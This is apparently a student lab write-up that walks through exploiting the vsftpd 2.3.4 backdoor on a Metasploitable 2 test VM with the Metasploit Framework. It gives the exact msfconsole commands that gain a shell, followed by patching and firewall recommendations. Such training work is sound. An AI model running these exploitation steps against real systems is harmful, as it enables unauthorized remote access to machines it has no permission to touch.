
Task 2: Exploitation Using Metasploit

Objective:

To understand how vulnerabilities are exploited using the Metasploit Framework.

Tools Used:

- **Kali Linux (WSL)**
- **Metasploit Framework**
- **Metasploitable 2 (Vulnerable Machine)**

Steps Performed:

Step 1: Install Metasploit Framework

1. **Updated system packages:**
2. `sudo apt update && sudo apt upgrade -y`
3. **Installed Metasploit Framework:**
4. `sudo apt install metasploit-framework -y`
5. **Launched Metasploit:**
6. `msfconsole`

Step 2: Set Up a Test Environment

- Used **Metasploitable 2**, a deliberately vulnerable Linux VM.
- Found its **IP address** using:
- `ifconfig`
- **Target machine's IP: 192.168.172.79**

Step 3: Exploiting a Vulnerability (VSFTPD Exploit)

1. **Searched for FTP-related exploits:**
2. `search vsftpd`
3. **Selected an exploit:**
4. `use exploit/unix/ftp/vsftpd_234_backdoor`
5. **Set the target IP:**
6. `set RHOSTS 192.168.172.79`
7. **Launched the exploit:**
8. `exploit`
9. **Result:** Successfully gained **unauthorized shell access** to the target system.

Findings & Recommendations:

- **The exploited FTP vulnerability allowed remote code execution.**
 - **Recommendation:**
 - Update FTP services regularly to patch vulnerabilities.
 - Disable anonymous FTP access.
 - Restrict FTP service access using firewalls.
-

Conclusion:

- ✅ **Network Scanning:** Identified open ports and potential vulnerabilities.
 - ✅ **Metasploit Exploitation:** Successfully exploited a VSFTPD vulnerability.
 - 🔒 **Security Recommendations:** Keep software updated, close unnecessary ports, and restrict network access to prevent exploitation.
-